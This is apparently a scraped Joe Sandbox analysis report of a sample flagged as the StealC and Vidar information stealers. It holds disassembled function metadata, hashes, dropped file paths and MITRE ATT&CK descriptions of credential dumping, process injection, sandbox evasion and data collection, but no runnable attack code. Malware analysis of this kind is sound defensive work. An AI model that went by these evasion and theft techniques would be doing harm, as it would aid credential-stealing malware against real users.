Function 6BCDF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6BCDF611
memcpy.VCRUNTIME140(?,?,?), ref: 6BCDF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6BCDF652
memcpy.VCRUNTIME140(?,?,?), ref: 6BCDF668

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2494f20fb56c3f966ff4a03f19a3e8fb44d78dbb9b0557659b926924f34555fd
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 9C318D75A04614AFC714CF6DDCC0A9F7BB6FB84354B188539FA4A8B705E635EA40CBA0

Function 6BCA39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BD2E744,6BD07765,00000000,6BD07765,?,6BCC6112), ref: 6BCA39AF
LeaveCriticalSection.KERNEL32(6BD2E744,?,6BCC6112), ref: 6BCA3A34
EnterCriticalSection.KERNEL32(6BD2E784,6BCC6112), ref: 6BCA3A4B
LeaveCriticalSection.KERNEL32(6BD2E784), ref: 6BCA3A5F

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 84d7a426c2f3ca1f5b0a7f27af3d58039061d8162a9886e05ccefc1d70591c5c
Instruction ID: d29154acb4ee8b85a567ba5499e0dec0f3196dc814a3ea0482c142c5ac450c05
Opcode Fuzzy Hash: 84d7a426c2f3ca1f5b0a7f27af3d58039061d8162a9886e05ccefc1d70591c5c
Instruction Fuzzy Hash: 60210732A217424FD7248F75C455A26F3B1FB85764724062AD7658B780F738ED01C741

Function 6BCBB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BCBB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6BCBB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BCBB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCBB9B9

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: c6b247385bc65ca34f4e1fe77b91c5cb631cdc0856cf4fe95cfa5a58ec920dc5
Instruction ID: 6b544526d88c233ca6006da5a224ba8d068b152ca6804e7126bc470cc1c97dfe
Opcode Fuzzy Hash: c6b247385bc65ca34f4e1fe77b91c5cb631cdc0856cf4fe95cfa5a58ec920dc5
Instruction Fuzzy Hash: 251142B1E042059FDB04CF69D88089FB7F8FF98214B14453AE919D7311E775EA15CAA1

Function 6BCF26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCF26C1
free.MOZGLUE(?), ref: 6BCF26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BCF26FF
free.MOZGLUE ref: 6BCF270D

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 99bc9d34b43bbca7ad7738bcca0b443dc431a5366c591635103425b1e66f9925
Instruction ID: 0331d1fc962e0d93d8330793188f7c6c6843d918143db78b7a9d4da2f1c6b2f5
Opcode Fuzzy Hash: 99bc9d34b43bbca7ad7738bcca0b443dc431a5366c591635103425b1e66f9925
Instruction Fuzzy Hash: 0FF0F9B26112805BFB008A58D881A47B3ADFF51214B4400B5FB16CB301F33AFA16C696

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKJDGCGD

C:\ProgramData\EBGCBAFC

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

C:\ProgramData\EGDGCGCFHIEHIDGDBAAEHJDAFB

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

C:\ProgramData\HDBGHDHCGHCAAKEBKECBKFIIDA

C:\ProgramData\JJECFIECBGDGCAAAEHIE

C:\ProgramData\JKJDHDBKEBGHJJJJKEHDHJJEGH

C:\ProgramData\KKJEBAAECBGDHIECAKJK

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_aa631021d087f9452799e575242b30ff106b8891_3293b468_5bdcc3dc-4cbe-4715-9c79-04e8aea1ad9f\Report.wer

Windows Analysis Report
file.exe

Function 00DC2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Function 00DD8E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre